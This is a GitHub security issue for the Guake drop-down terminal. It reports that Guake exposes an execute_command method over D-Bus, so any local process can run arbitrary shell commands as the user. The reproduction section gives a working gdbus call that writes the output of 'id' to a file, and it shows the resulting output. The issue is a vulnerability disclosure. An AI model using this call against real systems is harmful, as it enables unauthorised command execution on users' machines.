Skip to content

Security Issue: Exposure of sensitive function, malicious user can arbitrary command via an execute_command d-bus method. #1796

Description

@junorouse

Describe the bug

We understand that the usability of -e option. (#720)
BTW, it must not be exposured in d-bus interfaces.

Expected behavior

guake must not exposure execute_command in d-bus interfaces.

Do not exposure execute_command in d-bus interface.

Actual behavior

guake exposure execute_command in d-bus interface.

To Reproduce

We can use gdbus to call an execute_command d-bus method.

$ gdbus call -e -d org.guake3.RemoteControl -o /org/guake3/RemoteControl -m org.guake3.RemoteControl.execute_command "id > /tmp/1234"
$ cat /tmp/1234
uid=1000(juno) gid=1000(juno) groups=1000(juno),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),109(netdev),112(bluetooth),115(lpadmin),117(scanner)

juno@abcd:/tmp/p/$ guake --support
Usage: guake [options]

guake: error: no such option: --support

cc. @bbb1g

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions